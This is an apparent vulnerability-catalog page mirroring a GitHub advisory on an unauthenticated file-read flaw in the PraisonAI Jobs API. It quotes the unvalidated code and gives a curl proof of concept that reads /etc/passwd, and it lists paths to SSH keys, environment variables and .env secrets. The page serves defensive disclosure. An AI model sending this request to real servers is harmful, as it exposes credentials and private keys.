vulnerability / NVI-00016005 / Revision 1
PraisonAI: Unauthenticated Local File Inclusion via agent_file path in PraisonAI Jobs API
GitHub lists this reviewed advisory for praisonai. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.
This report has not inspected your inventory, configuration, deployed build, reachability or evidence. A catalog listing and a severity score do not establish exposure or compromise.
01 / Meaning
Why it matters
Published affected context helps an owner decide what evidence to gather. This report has not examined your application.
7.5 high
GitHub source severity; exploitability and local consequence require separate evidence.
As of · GitHub Advisory Database
02 / Applicability
The affected context
Affected versions, configuration prerequisites and known exclusions are public. Confirm each one against the deployed service.
praisonai
source listed< 4.6.59
### Summary An unauthenticated attacker can read arbitrary files on the server by supplying an absolute filesystem path in the `agent_file` field of the Jobs API. The field has no path validation, no allowlist, and no authentication is required to submit jobs. ### Details The `agent_file` field in `JobSubmitRequest` accepts any filesystem path with no validation: ```python # src/praisonai/praisonai/jobs/models.py:29 agent_file: Optional[str] = Field(None, description="Path to agents.yaml file") # NO path validator, NO allowlist ``` The executor reads the file directly: ```python # src/praisonai/praisonai/jobs/executor.py:221 agent_file = job.agent_file or "agents.yaml" # passed directly to yaml.safe_load(open(agent_file)) ``` ### Proof of Concept ```bash curl -X POST http://:8005/api/v1/runs \ -H "Content-Type: application/json" \ -d '{"prompt": "run", "agent_file": "/etc/passwd"}' ``` Server responds with contents of `/etc/passwd`. Other exploitable paths: - `/proc/1/environ` — environment variables, API keys - `/home//.ssh/id_rsa` — SSH private keys - `/app/.env` — application secrets ### Impact Any unauthenticated attacker with network access to port 8005 can read a
03 / Response
What to do next
- investigate
Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.
Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system. GitHub Advisory Database
A fixed release is not deployment evidence.
Check current vendor support and compatibility. After making a change, verify the deployed build and relevant runtime conditions. Keep the evidence, owner and time. An updated lockfile alone does not prove what is running.
04 / Limits
What this report cannot establish
- Customer inventory, deployment, reachability and exploitation have not been inspected.
05 / Provenance
Sources you can inspect
Each assertion retains its source. Mirrored records may repeat one underlying publisher; additional links are not independent corroboration.
- GHSA-p4pj-vh7h-6cqh ↗
GitHub Advisory Database · vendor advisory
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Public revision history
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- Revision 1 ·
First indexed by Null; source disclosure date is shown separately.